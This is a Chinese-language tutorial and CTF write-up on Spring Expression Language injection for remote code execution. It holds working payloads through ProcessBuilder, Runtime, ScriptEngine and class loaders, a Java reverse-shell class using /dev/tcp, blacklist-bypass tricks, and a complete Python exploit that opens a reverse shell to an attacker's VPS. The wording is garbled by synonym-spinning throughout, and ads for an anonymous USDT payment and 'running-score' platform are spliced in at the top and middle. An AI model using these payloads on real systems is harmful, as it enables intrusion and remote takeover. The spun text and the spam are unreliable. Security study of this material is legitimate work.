菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
前言
和一个大帅逼一起研究了一下SpEL注入RCE剖析以及技巧,拿来分享一下,抛砖引玉。
SpEL注入基础
SpEL简介
Spring表达式语言(简称 SpEL,全称Spring Expression Language)是一种功效强大的表达式语言,支持在运行时查询和操作工具图。它语法类似于OGNL,MVEL和JBoss EL,在方式挪用和基本的字符串模板提供了极大地便利,也开发减轻了Java代码量。另外 , SpEL是Sprin *** 品组合中表达评估的基础,但它并不直接与Spring绑定,可以自力使用。
基本用法:
SpEL挪用流程 : 1.新建剖析器 2.剖析表达式 3.注册变量(可省,在取值之前注册) 4.取值
示例1:不注册新变量的用法
ExpressionParser parser = new SpelExpressionParser();//建立剖析器 Expression exp = parser.parseExpression("'Hello World'.concat('!')");//剖析表达式 System.out.println( exp.getValue() );//取值,Hello World!
示例2:自界说注册加载变量的用法
public class Spel { public String name = "何止"; public static void main(String[] args) { Spel user = new Spel(); StandardEvaluationContext context=new StandardEvaluationContext(); context.setVariable("user",user);//通过StandardEvaluationContext注册自界说变量 SpelExpressionParser parser = new SpelExpressionParser();//建立剖析器 Expression expression = parser.parseExpression(",user.name");//剖析表达式 System.out.println( expression.getValue(context).toString() );//取值,输出何止 } }
了解了基本用法之后,我们可以通过建立实例,挪用方式先组织几个rce的payload
会用到的语法
spel语法中的T()
操作符 , T()
操作符会返回一个object , 它可以辅助我们获取某个类的静态方式 , 用法T(全限制类名).方式名()
,后面会用获得
spel中的,
操作符可以用于符号工具
RCE第一部门
第一部门就是最基础的思绪 : 新建实例 , 挪用下令执行方式
01 : 挪用ProcessBuilder
java代码
String[] str = new String[]{"open","/System/Applications/Calculator.app"}; ProcessBuilder p = new ProcessBuilder( str ); p.start();//打开计算器
spel中也可以使用new来组织,写法险些一样,我们可以把表达式简化为一行
new java.lang.ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
完整的执行代码
String cmdStr = "new java.lang.ProcessBuilder(new String[]{\"open\",\"/System/Applications/Calculator.app\"}).start()"; ExpressionParser parser = new SpelExpressionParser();//建立剖析器 Expression exp = parser.parseExpression(cmdStr);//剖析表达式 System.out.println( exp.getValue() );//弹出计算器
固然java.lang包下的类无需使用全限制类名,故表达式可简化来bypass
new ProcessBuilder(new String[]{"open","/System/Applications/Calculator.app"}).start()
02 : 挪用RunTime
java挪用,由于Runtime类使用了单例模式-饿汉式,需要挪用Runtime的静态方式获得Runtime实例
Runtime rt = Runtime.getRuntime();// rt.exec(new String[]{"open","/System/Applications/Calculator.app"});
和上个用法略有差别注释在payload后给出
使用string参数 (java.lang包下的类不需要加全限制类名)
T(java.lang.Runtime).getRuntime().exec("open /System/Applications/Calculator.app")
字符串数组方式挪用
T(Runtime).getRuntime().exec(new String[]{"open","/System/Applications/Calculator.app"})
注释: 由于RunTime类
使用了单例模式 ,获取工具的话不能直接通过组织方式获得,必须通过静态方式getRuntime
来获得 , 其源码可参考下图 , 挪用静态方式的话需要使用SpEL的T()
操作符,T()
操作符会返回一个object.
03 : 挪用ScriptEngine
从ruilin师傅的文章学到还可以用js引擎(不知道能不能用颜文字或者其他js绕过的方式到这里,暂时没实验乐成,测试成的师傅可以分享下).
获取所有js引擎信息
public static void main(String[] args) { ScriptEngineManager manager = new ScriptEngineManager(); List<ScriptEngineFactory> factories = manager.getEngineFactories(); for (ScriptEngineFactory factory: factories){ System.out.printf( "Name: %s%n" + "Version: %s%n" + "Language name: %s%n" + "Language version: %s%n" + "Extensions: %s%n" + "Mime types: %s%n" + "Names: %s%n", factory.getEngineName(), factory.getEngineVersion(), factory.getLanguageName(), factory.getLanguageVersion(), factory.getExtensions(), factory.getMimeTypes(), factory.getNames() ); } }
Name: Oracle Nashorn
Version: 1.8.0_261
Language name: ECMAScript
Language version: ECMA - 262 Edition 5.1
Extensions: [js]
Mime types: [application/javascript, application/ecmascript, text/javascript, text/ecmascript]
Names: [nashorn, Nashorn, js, *** , JavaScript, javascript, ECMAScript, ecmascript]
通过效果中的Names,我们知道了所有的js引擎名称故getEngineByName的参数可以填[nashorn, Nashorn, js, *** , JavaScript, javascript, ECMAScript, ecmascript]
,举个例子:
ScriptEngineManager sem = new ScriptEngineManager(); ScriptEngine engine = sem.getEngineByName("nashorn"); System.out.println(engine.eval("2+1"));
那么payload也就显而易见
nashorn
new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")
javascript
[[${new javax.script.ScriptEngineManager().getEngineByName("javascript").eval("s=[2];s[0]='open';s[1]='/System/Applications/Calculator.app';java.lang.Runtime.getRuntime().exec(s);")}]]
OK基础的第一部门到此竣事
RCE第二部门
下面更先第二部门 , 思绪 : 反射组织RCE ,下面反射中用到的类包罗但不限于上述部门
首先简朴先容反射 :
JAVA反射机制是在运行状态中,对于随便一个类,都能够知道这个类的所有属性和方式;对于随便一个工具,都能够挪用它的随便方式和属性;这种动态获取信息以及动态挪用工具方式的功效称为java语言的反射机制
然后简朴先容ClassLoader :
JVM(java虚拟机) 拥有多种ClassLoader, 差别的 ClassLoader 会从差别的地方加载字节码文件, 加载方式可以通过差别的文件目录加载, 也可以从差别的 jar 文件加载,还包罗使用 *** 服务地址来加载。几个主要的 ClassLoader : BootstrapClassLoader
、ExtensionClassLoader
和AppClassLoader
、UrlClassLoader
下面组织会用到AppClassLoader
和UrlClassLoader
04 : UrlClassLoader
URLClassLoader 可以加载远程类库和内陆路径的类库
挪用思绪 : 远程加载class文件,通过函数挪用或者静态代码块来挪用
先组织一份Exp.jar , 放到远程vps即可
一份通过组织方式反弹shell的Exp.java实例
public class Exp{ public Exp(String address){ address = address.replace(":","/"); ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done"); try { p.start(); } catch (IOException e) { e.printStackTrace(); } } }
起一个http服务示例
http python -m SimpleHTTPServer 8990
Payload
注重必须使用全限制类名 , 或许这个可以过一些bypass
new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
05 : AppClassLoader
AppClassLoader 直接面向用户,它会加载 Classpath 环境变量里界说的路径中的 jar 包和目录
,,菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
由于双亲委派的存在,它可以加载到我们想要的类
使用的条件是获取 , 获取AppClassLoader可以通过ClassLoader类的静态方式getSystemClassLoader
System.out.println(ClassLoader.getSystemClassLoader());
加载Runtime执行
由于需要挪用到静态方式以是照样要用到
T()
操作T(ClassLoader).getSystemClassLoader().loadClass("java.lang.Runtime").getRuntime().exec("open /System/Applications/Calculator.app")
加载ProcessBuilder执行
[[${T(ClassLoader).getSystemClassLoader().loadClass("java.lang.ProcessBuilder").getConstructors()[1].newInstance(new String[]{"open","/System/Applications/Calculator.app"}).start()}]]
06: 通过其他类获取AppClassLoader
这里我新开一个题目原因是在现实的web项目开发者会导入许多依赖的jar,或编写自界说类
实例1:
使用spel的话一定存在名为org.springframework的包,这个包下有许许多多的类,而这些类的classloader就是app
好比:org.springframework.expression.Expression类
System.out.println( org.springframework.expression.Expression.class.getClassLoader() );
那么很容易就可以获得一个获取AppClassLoader的方式 ,
T(org.springframework.expression.Expression).getClass().getClassLoader()
假设使用thyemleaf的话会有org.thymeleaf.context.AbstractEngineContext:
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()
假设有一个自界说的类那么可以:
T(com.ctf.controller.Demo).getClass().getClassLoader()
类比较多,不外多叙述
07: 通过内置工具加载UrlClassLoader
request、response工具是web项目的常客,也有许多有趣,好比截图所示,这里会有个很有趣的器械,过段时间补出来
ok……第二部门完结,最厥后整点bypass
08: Interesting bypass
看到这里会有些累了,这里需要有一些java基础来有选择性的bypass
假设黑名单有如下情形,来源于ddctf :
"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
- java.lang被禁用可以不用全限制类名
- Runtime、Process、javax.script.ScriptEngineManager被杀就得通过第二部门反射了
- eval、exec啥的也没了
- org.thymeleaf一类的包都被禁用了就放弃我们06阶段说的前两个
- 引号也没了,就找找字符串转换函数
- 不在一一列举
从两个大的方向来谈: 不能有字符串、不能以直接用Runtime等类
不能直接使用类
Runtime等类被禁用我们可以使用06所说的自界说类,
ddctf里拥有几个自界说类safafilter和com.ctf.model.User类啥的,只要通过import来找到全限制类名就好;
还可以使用07所说的内置工具request、response两者也可拿来先加载ClassLoader,再加载想要的类。
不能直接使用字符串
引号被过滤不能以直接使用字符串,这里提供三种组织字符串的方式
1.T(类名).getName()
会返回字符串类型的全限制类名
好比:[[${T(String).getName()}]]
效果为java.lang.String
然后我们就可以使用角标来组织我们想要的字符串
[[${T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,51)+T(String).getName()[0].replace(106,122)+T(String).getName()[0].replace(106,104)+T(String).getName()[0].replace(106,49)}]] ,回显h3zh1
2.使用Character类组织字符串
[[${T(Character).toString(104)+T(Character).toString(51)+T(Character).toString(122)+T(Character).toString(104)+T(Character).toString(49)}]]
3.外部可控字符绕过
通过web请求组织字符串,request有许多方式返回值为String也有String[]用来给getMethod或者getDeclaredMethod的方式定制参数
post方式组织字符串
[[${,request.getMethod().substring(0,1).replace(80,104)%2b,request.getMethod().substring(0,1).replace(80,51)%2b,request.getMethod().substring(0,1).replace(80,122)%2b,request.getMethod().substring(0,1).replace(80,104)%2b,request.getMethod().substring(0,1).replace(80,49)}]]
get方式组织字符串
[[${,request.getMethod().substring(0,1).replace(71,104)%2b,request.getMethod().substring(0,1).replace(71,51)%2b,request.getMethod().substring(0,1).replace(71,122)%2b,request.getMethod().substring(0,1).replace(71,104)%2b,request.getMethod().substring(0,1).replace(71,49)}]]
外部的cookie绕过
[[${,request.getRequestedSessionId()}]]
09: 补个例子印证
刚竣事了D3CTF,过了交wp的时间,补个例题来印证一下,此处为AntCTF x D^3CTF的Happy_Valentine's_Day
name处是个spel注入 , 这个题黑名单测了挺久比ddctf那次多一些。
- 由于貌似种种直接可用的类都无了,也没有文件读取,也没办法读到什么可用的类,以是选择使用request工具来加载ClassLoader
- T操作符也无了
- 字符串绕过使用replace函数和substring函数
- String[].class可以通过getParameterValues方式的来获取
- 固然也可使用其他的函数来获取String.class不外cmd需要转换成String的
- new字符串被禁用了,可以用Runtime类
- 由于过滤了引号 , 使用外部Cookie来取代,固然ContentType啥的也可以
组织反射执行链大致如下:
request.getClass().getClassLoader().loadClass("java.lang.Runtime").getDeclaredMethod("exec",String[].class).invoke(,request.getClass().getClassLoader().loadClass("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(,request.getClass().getClassLoader().loadClass("java.lang.Runtime")),new String[]{"curl","vpsAddress"})
完整exp
import requests import urllib.parse ,获取classLoader def getClass(className): return ",request.getClass().getClassLoader().loadClass("+getString(className)+")" ,字符串替换函数 def getString(string): strc="" for i in string: strc = strc + ",request.getRequestedSessionId().replace(97,{})+".format(str(ord(i))) return strc[:-1] ,实在没啥用 def getCmdStr(yourCommand): prefix = "?cmd=/bin/bash&cmd=-c&cmd=" surfix = urllib.parse.quote_plus(yourCommand) cmdStr = prefix + surfix return cmdStr ,获得String[].class ArrayClass = ",request.getParameterValues("+getString("cmd")+").getClass()" ,加载RunTime的class RunTimeClass = getClass("java.lang.Runtime") poc = RunTimeClass + ".getDeclaredMethod("+getString("exec")+","+ArrayClass+").invoke("+RunTimeClass+".getDeclaredMethod("+getString("getRuntime")+").invoke("+RunTimeClass+"),,request.getParameterValues("+getString("cmd")+"))" ,print(poc) ,poc = urllib.parse.quote(poc) payload = poc header = {"Cookie":" *** ESSIONID=a"} ,不能删除用于replace函数 yourCommand = "/bin/bash -i >& /dev/tcp/vps/2366 0>&1" ,下令 cmd = getCmdStr(yourCommand) , 不用管 url = "http://h3zh1/love" url2 = "http://h3zh1/1nt3na1_pr3v13w" payload = "[[${" + poc + "}]]" ,加上[[${}]] ,love路由的参数 data = { "name" : payload, "password" : "a" } s = requests.Session() , 获取session保证session一致 r = s.post(url, data=data , headers = header) ,post方式 通报name渲染 r.encoding = "utf-8" ,print(r.text) r = s.get( url2+cmd , headers = header ) ,加载渲染执行SPEL表达式 ,print(r.text)
运行……
vps端
自己也搭了一个spel注入的环境,有需要的狮虎可以拿来实验:spelleaning
参考 :
Ruilin 由浅入深SpEL表达式注入破绽 : http://rui0.cn/archives/1043
EL : https://www.runoob.com/jsp/jsp-expression-language.html
SpEL : https://docs.spring.io/spring-framework/docs/current/reference/html/core.html,expressions